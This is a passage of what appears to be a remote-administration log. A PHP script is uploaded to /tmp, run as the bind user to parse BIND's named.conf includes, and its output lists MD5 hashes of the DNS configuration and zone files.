				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 10:33:08: 

runuser -l bind -s /bin/bash -c '/tmp/pkp211968; rm /tmp/pkp211968'

2026-04-25 10:33:08: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 10:39:01: Establishing a connection
2026-04-25 10:39:01: 

PUT: /tmp/pkp949300

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 10:39:01: 

runuser -l bind -s /bin/bash -c '/tmp/pkp949300; rm /tmp/pkp949300'

2026-04-25 10:39:01: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
